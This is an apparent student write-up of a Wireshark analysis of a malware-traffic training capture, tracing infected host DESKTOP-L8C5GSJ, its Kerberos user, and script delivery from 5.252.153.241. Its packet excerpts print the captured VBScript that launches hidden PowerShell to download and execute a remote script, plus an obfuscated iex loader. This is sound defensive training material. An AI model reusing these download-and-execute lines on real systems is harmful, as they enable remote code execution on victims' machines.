

- **Objective:** Review recorded network traffic from a practice exercise to find the affected computer, check suspicious connections, and record signs that it may be communicating with an attacker's server.
- **Tools and capture file:**
 - Tool: Wireshark
 - File: 2025-01-22-traffic-analysis-exercise.pcap
 - Source: Malware-Traffic-Analysis.net/ Download from Fake Software Site training exercise.
- **Capture timeframe:**
 - Packets captured: 39,427
 - First packet: January 22, 2025, at 14:44:56
 - Last packet: January 22, 2025, at 15:38:18
 - Duration: Approximately 53 minutes, 22 seconds
 - Timezone: Not yet verified
- **Hosts and conversations:**
 - Main host: 10.1.17.215: 39,045 packets, approximately 26 MB.
 - Domain controller: 10.1.17.2 : identified in the exercise background.
 - IPv4 endpoints: 145.
 - Packet 15536 shows 10.1.17.215 announcing the hostname DESKTOP-L8C5GSJ. Its MAC address is 00:d0:b7:26:4a:74.
 - Packet 258 contains a Kerberos AS-REQ from 10.1.17.215 identifying the account **shutchenson** in the **BLUEMOONTUESDAY** realm.
- **DNS and connection analysis:**
 - Packet 2376 shows authenticatoor[.]org resolving to 82.221.136.26. Packets 2377–2379 show a completed TCP handshake from 10.1.17.215 to 82.221.136.26 on port 443. Packet 2381 identifies authenticatoor[.]org in the TLS Client Hello. Encrypted data follows; its contents are not visible.
 - HTTP traffic to 185.188.32.26 uses the Host header master16.teamviewer.com and receives HTTP 200 responses. Whether this activity was authorized cannot be determined from these packets alone.
- **Suspicious activity and evidence:**
 - Packet 5031 requests /api/file/get-file/264872 from 5.252.153.241. The HTTP 200 response contains VBScript designed to launch hidden PowerShell and download and execute 29842.ps1 from the same server. Packet 5063 shows the subsequent script request. The capture supports the delivery sequence, but does not directly confirm execution on the host.
 - Packet 5063 requested /api/file/get-file/29842.ps1 from 5.252.153.241. The server returned HTTP 200 OK with obfuscated PowerShell containing iex. This is suspicious, although execution is not confirmed.

- Packets 5073 and 7279 request /1517096937 from 5.252.153.241 approximately 5.2 seconds apart. Both receive HTTP 404 responses. This may indicate automated polling, but does not alone confirm C2.
- **Verdict and limitations:**
 - The capture provides strong evidence of malicious script delivery to 10.1.17.215 (DESKTOP-L8C5GSJ). It received VBScript designed to launch hidden PowerShell, followed by an obfuscated PowerShell script from 5.252.153.241. Repeated requests to that server suggest possible C2 polling. Confidence is high in suspicious script delivery, but execution, successful C2, and data theft are not confirmed by the reviewed packets.
- **Recommended response:**
 - In a real incident, isolate the affected computer and preserve the capture and endpoint logs. Block 5.252.153.241 and investigate authenticatoor[.]org. Review PowerShell and process logs to confirm execution, check for persistence, and search other hosts for the same indicators. Verify whether the TeamViewer activity was authorized.
- **Screenshots:**
 - Host IP/ Endpoints table

Wireshark - Endpoints - 2020-01-22 traffic analysis exercise.pcap

Ethernet · 7 IPv4 · 145 IPv6 TCP · 545 UDP · 356								
Address	~	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Country
0.0.0.0		2	734 bytes	2	734 bytes	0	0 bytes	
3.82.67.153		26	7 kB	15	4 kB	11	3 kB	
4.150.155.223		26	11 kB	13	8 kB	13	3 kB	
4.153.72.49		33	13 kB	16	7 kB	17	6 kB	
5.252.153.241		9,076	7 MB	5,601	7 MB	3,475	235 kB	
10.1.17.2		4,361	1 MB	2,014	532 kB	2,347	530 kB	
10.1.17.215		39,045	26 MB	16,032	3 MB	23,013	23 MB	
10.1.17.255		139	27 kB	0	0 bytes	139	27 kB	
13.71.55.58		22	7 kB	10	5 kB	12	2 kB	
13.89.179.11		28	8 kB	13	5 kB	15	3 kB	
13.107.21.239		248	102 kB	128	59 kB	120	42 kB	
13.107.42.14		31	10 kB	17	7 kB	14	4 kB	
13.107.42.16		190	74 kB	104	51 kB	86	23 kB	
13.107.246.57		395	161 kB	208	117 kB	187	43 kB	
17.253.26.251		2	180 bytes	1	90 bytes	1	90 bytes	
20.10.31.115		92	22 kB	44	14 kB	48	8 kB	
20.42.73.27		83	28 kB	39	16 kB	44	12 kB	
20.44.239.154		72	21 kB	33	15 kB	39	6 kB	
20.96.153.111		29	9 kB	11	6 kB	18	3 kB	
20.125.62.4		27	9 kB	12	8 kB	14	3 kB	

- DNS resolution/authenticatoor[.]org

The screenshot shows a Wireshark interface with a packet capture filter set to `ip.addr == 10.1.17.215 && ip.addr == 82.221.136.26`. The packet list displays 11 packets, with packet 2377 selected. The packet details pane shows the following layers:

- Ethernet II**: Src: Intel_26:4a:74 (00:d0:b7:26:4a:74), Dst: Cisco_82:22:13:6e:00:00 (08:00:27:00:08:00)
- Internet Protocol Version 4**: Src: 10.1.17.215, Dst: 82.221.136.26
- Transmission Control Protocol**: Src Port: 50134, Dst Port: 443, Seq: 1761, Len: 66
- Hypertext Transfer Protocol**: GET / HTTP/1.1

The packet bytes pane shows the raw data of the selected packet, starting with the Ethernet II frame header.

```
GET /api/file/get-file/29842.ps1 HTTP/1.1
Host: 5.252.153.241
Connection: Keep-Alive

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 22 Jan 2025 16:38:22 GMT
ETag: W/"5e8-1948ee113a3"
Content-Type: application/octet-stream
Content-Length: 1512
Date: Wed, 22 Jan 2025 19:45:58 GMT
Connection: keep-alive
Keep-Alive: timeout=5

iex ([system.text.encoding]::UTF8.GetString([system.convert]::('F#r[o;m;B[a[s#e#6#4[S;t;r
'.replace('#','').replace(' ','').replace('[','')>('J;G;Z;z>b;y;A}9;I}E;5;l;d;y>1;P}Y>m}p
Q}g}L>U;N;v>b}S>A;i}U}2;N}y}a}X>B>0;a}W}5>n>L;k>Z>p;b;G>V}T>e}X}N;0}Z>W}1}P;Y;m;p>l>Y}3;Q
R>T>Z>x>J}p>Y>W>x>0;d;W}1}i>Z}X>I;g}P;S;A}k}Z>n;N>v;L}k;d;l;d}E}R}y>a;X;Z>l;K>C}J}j;0}l}w
5>T}Z;X>J}p>Y;W;x;0;d}W>1}i}Z;X}I}K>J;F}N;l}c>m;l;h;b}E}5>1;b}W;J}l>c;i>A;9>I}C;J>7}M}D}p
I}g>L>W;Y}g;J>F>N>l}c}m}l>h;b>E>5}1;b>W;J;l;c;g}o;k}U;2}V;y>a>W}F>s}T}n;V}t}Y}m;V;y}I}D;0
N;v>b}n>Z>l;c>n>R>d;0>j;p}0;b>2>l}u>d;D}Y}0;K}C}R}T>Z>X}J>p>Y>W;x>0>d;W>1}i}Z;X;I}s}M}T}Y:
R;z}Z;X}J}p;Y;W>w}g;P;S>A>k>U;2>V>y}a;W>F>s}T;n;V}t}Y}m>V}y}C>i}R;p}c>C}A}9>I;C;d}o>d}H}R
8>v>N}S>4>y>N>T}I>u;M}T;U;z>l;j;I}0;M}S>8;n}C}i>R;l>c>m}w>g;P}S;A;k}a;X>A}r;J}H}N>l}c;m>l
n>k}c}v>A}9;T}F;5>l>d>v}l>P>Y>m>n}l>Y}3}0}n>ll>3>l>z>d>G>V}t}l}k>5}l>d>C>5>X}Z>W>l}0}h}k}G>l
```

tcp.stream eq 61							
No.	Time	Source	Destination	Protocol	Length	Info	
5062	62.145025	10.1.17.215	5.252.153.241	TCP	60	50144 → 80 [ACK] Seq=1 Ack=1 Win=65280	
5063	62.145732	10.1.17.215	5.252.153.241	HTTP	144	GET /api/file/get-file/29842.ps1 HTTP/1.1	
5069	62.304190	5.252.153.241	10.1.17.215	TCP	60	80 → 50144 [ACK] Seq=1 Ack=91 Win=6425	
5070	62.309348	5.252.153.241	10.1.17.215	TCP	1414	80 → 50144 [ACK] Seq=1 Ack=91 Win=6425	
5071	62.309349	5.252.153.241	10.1.17.215	HTTP	555	HTTP/1.1 200 OK	
5072	62.309517	10.1.17.215	5.252.153.241	TCP	60	50144 → 80 [ACK] Seq=91 Ack=1862 Win=6	
5073	62.366091	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
5074	62.514281	5.252.153.241	10.1.17.215	TCP	60	80 → 50144 [ACK] Seq=1862 Ack=140 Win=	
5075	62.564321	5.252.153.241	10.1.17.215	HTTP	329	HTTP/1.1 404 Not Found (text/plain)	
5076	62.604623	10.1.17.215	5.252.153.241	TCP	60	50144 → 80 [ACK] Seq=140 Ack=2137 Win=	
7279	67.602135	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
7297	67.759190	5.252.153.241	10.1.17.215	TCP	60	80 → 50144 [ACK] Seq=2137 Ack=189 Win=	
7299	67.769070	5.252.153.241	10.1.17.215	HTTP	329	HTTP/1.1 404 Not Found (text/plain)	
7305	67.823652	10.1.17.215	5.252.153.241	TCP	60	50144 → 80 [ACK] Seq=189 Ack=2412 Win=	

> Frame 7279: Packet, 103 bytes on wire (824 bits), 103 bytes captured	0000	08 d0 9f c2 3a 46 00 d0	b7 26 4a 74 08 00 4
> Ethernet II, Src: Intel_26:4a:74 (00:d0:b7:26:4a:74), Dst: Cisco	0010	00 59 20 ef 40 00 80 06	1d eb 0a 01 11 d7 0
> Internet Protocol Version 4, Src: 10.1.17.215, Dst: 5.252.153.241	0020	99 f1 c3 e0 00 50 db f2	be 4d de 29 d4 ec 5
> Transmission Control Protocol, Src Port: 50144, Dst Port: 80, Seq=140, Ack=2137, Win=6425, Len=103	0030	00 fe 8e 76 00 00 47 45	54 20 2f 31 35 31 3
> Hypertext Transfer Protocol	0040	39 36 39 33 37 20 48 54	54 50 2f 31 2e 31 0
	0050	48 6f 73 74 3a 20 35 2e	32 35 32 2e 31 35 3
	0060	32 34 31 0d 0a 0d 0a	

○ Repeated HTTP polling

```

GET /1517096937 HTTP/1.1
Host: 5.252.153.241

HTTP/1.1 404 Not Found
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
Content-Length: 9
ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"
Date: Wed, 22 Jan 2025 19:45:59 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Not Found
GET /1517096937 HTTP/1.1
Host: 5.252.153.241

HTTP/1.1 404 Not Found
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8

```

○ Hostname/ DESKTOP-L8C5GSJ

http.request && ip.src == 10.1.17.215							
No.	Time	Source	Destination	Protocol	Length	Info	
39184	3085.715318	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39195	3091.034383	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39209	3096.340320	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39223	3101.632664	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39234	3106.906224	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39243	3112.176934	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39252	3117.401434	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39259	3122.611058	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39291	3127.806470	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39300	3133.016324	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39311	3138.192495	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39322	3143.431409	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39331	3148.670297	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39341	3154.252130	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39348	3159.638515	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39357	3164.911783	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39370	3170.494838	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39377	3176.097646	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39386	3181.340731	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39397	3186.535218	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39404	3191.727993	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39413	3196.921867	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	
39424	3202.128240	10.1.17.215	5.252.153.241	HTTP	103	GET /1517096937 HTTP/1.1	

> Frame 211: Packet, 179 bytes on wire (1432 bits), 179 bytes captured (1432	0000	01 00 5e 7f ff fa 00 d0	b7 26 4a 74 08 00 45 00
> Ethernet II, Src: Intel_26:4a:74 (00:d0:b7:26:4a:74), Dst: IPv4mcast_7f:ff:	0010	00 a5 82 e3 00 00 04 11	27 93 0a 01 11 d7 ef ff
> Internet Protocol Version 4, Src: 10.1.17.215, Dst: 239.255.255.250	0020	ff fa c4 95 07 6c 00 91	34 da 4d 2d 53 45 41 52
> User Datagram Protocol, Src Port: 50325, Dst Port: 1900	0030	43 48 20 2a 20 48 54 54	50 2f 31 2e 31 0d 0a 48
> Simple Service Discovery Protocol	0040	6f 73 74 3a 20 32 33 39	2e 32 35 35 2e 32 35 35
	0050	2e 32 35 30 3a 31 39 30	30 0d 0a 53 54 3a 20 75
	0060	72 6e 3a 73 63 68 65 6d	61 73 2d 75 70 6e 70 2d
	0070	6f 72 67 3a 64 65 76 69	63 65 3a 49 6e 74 65 72
	0080	6e 65 74 47 61 74 65 77	61 79 44 65 76 69 63 65
	0090	3a 31 0d 0a 4d 61 6e 3a	20 22 73 73 64 70 3a 64
	00a0	69 73 63 6f 76 65 72 22	0d 0a 4d 58 3a 20 33 0d
	00b0	0a 0d 0a	

○ Kerberos username/ shutchenson

Internet Protocol Version 4, Src: 10.1.17.215, Dst: 10.1.17.2	0000	00 24 e8 7f 09 5d 00 d0	b7 26 4a 74 08 00 45 00
Transmission Control Protocol, Src Port: 50092, Dst Port: 88, Seq: 1, Ack:	0010	00 a5 82 e3 00 00 04 11	27 93 0a 01 11 d7 0a 01
Kerberos	0020	11 02 c3 ac 00 58 3f f2	6d 6c 9d d5 62 77 50 18
Record Mark: 310 bytes	0030	00 ff 1d ab 00 00 00 00	01 36 6a 82 01 32 30 82
0... .. = Reserved: Not set	0040	01 2e a1 03 02 01 05 a2	03 02 01 0a a3 63 30 61
.000 0000 0000 0000 0000 0001 0011 0110 = Record Length: 310	0050	30 4c a1 03 02 01 02 a2	45 04 43 30 41 a0 03 02
as-req	0060	01 12 a2 3a 04 38 da a3	97 19 51 5a f0 20 90 a8
pvno: 5	0070	9c 4c 24 75 a6 38 29 58	5a 87 d3 f4 35 f1 55 38
msg-type: krb-as-req (10)	0080	b1 a4 8b 6d 9d 37 eb 6a	e5 32 65 87 7d 2f e7 93
> padata: 2 items	0090	99 3e 5a 01 c8 33 e6 24	d9 9f 6f 97 49 e3 30 11
req-body	00a0	a1 04 02 02 00 80 a2 09	04 07 30 05 a0 03 01 01
Padding: 0	00b0	ff a4 81 bc 30 81 b9 a0	07 03 05 00 40 81 00 10
> kdc-options: 40810010	00c0	a1 18 30 16 a0 03 02 01	01 a1 0f 30 0d 1b 0b 73
cname	00d0	68 75 74 63 68 65 6e 73	6f 6e a2 11 1b 0f 42 4c
name-type: kRB5-NT-PRINCIPAL (1)	00e0	55 45 4d 4f 4f 4e 54 55	45 53 44 41 59 a3 24 30
CNameString: shutchenson	00f0	22 a0 03 02 01 02 a1 1b	30 19 1b 06 6b 72 62 74
realm: BLUEMOONTUESDAY	0100	67 74 1b 0f 42 4c 55 45	4d 4f 4f 4e 54 55 45 53
sname	0110	44 41 59 a5 11 18 0f 32	31 30 30 30 39 31 33 30
till: Sep 12, 2100 22:48:05.000000000 EDT	0120	32 34 38 30 35 5a a6 11	18 0f 32 31 30 30 30 39
rtime: Sep 12, 2100 22:48:05.000000000 EDT	0130	31 33 30 32 34 38 30 35	5a a7 06 02 04 68 3c 6c
nonce: 1748790420	0140	94 a8 0e 30 c0 02 01 12	02 01 11 02 01 17 02 01
	0150	03 a9 1d 30 1b 30 19 a0	03 02 01 14 a1 12 04 10
	0160	44 45 53 4b 54 4f 50 2d	4c 38 43 35 47 53 4a 20

○ TeamViewer-related traffic

GET /din.aspx?s=00000000&id=0&client=DynGate&rnd=4279752636p=10000001 HTTP/1.1	
Accept: */*	
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)	
Host: master16.teamviewer.com	
Connection: Keep-Alive	
Cache-Control: no-cache	
HTTP/1.1 200 OK	
Pragma: no-cache	
Cache-control: no-cache, no-store	
Content-Type: application/octet-stream	
Content-Length: 10	
3591930119	
GET /dout.aspx?s=91930119&p=10000001&client=DynGate&data=FyQ5kgCjHgkys5MkoZ6ZGhyccJGuanZMkoh6EYy	
3s700tz0emJMnoKGemDwYGDYIMRuZGxowmSovmLIwBoYGrIxmxcMbKxr5iamJuVHJscmZuTjqsIHpg8GByGDEbRsaMDU	
aL5iyMJwaGBqYMZsbnDGysa+YmpibBybHJmbkyepnqu0TxKx6aLxgXG5obnBAoqQ== HTTP/1.1	
Accept: */*	
Content-Type: application/octet-stream	
Content-Transfer-Encoding: binary	
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)	
Host: master16.teamviewer.com	
Connection: Keep-Alive	
Cache-Control: no-cache	
HTTP/1.1 200 OK	

- VBScript delivery/ packet 5031

```
GET /api/file/get-file/264872 HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 5.252.153.241
Connection: Keep-Alive

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 22 Jan 2025 16:21:51 GMT
ETag: W/"1a1-1948ed1f354"
Content-Type: application/octet-stream
Content-Length: 417
Date: Wed, 22 Jan 2025 19:45:56 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<component>
<script language="VBScript">
On Error Resume Next
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command ""start-proce
ss 'https://azure.microsoft.com'; iex (new-object System.Net.WebClient).DownloadString('http://
5.252.153.241:80/api/file/get-file/29842.ps1');#URL: https://teams.microsoft.com""")
</script>
</component>
```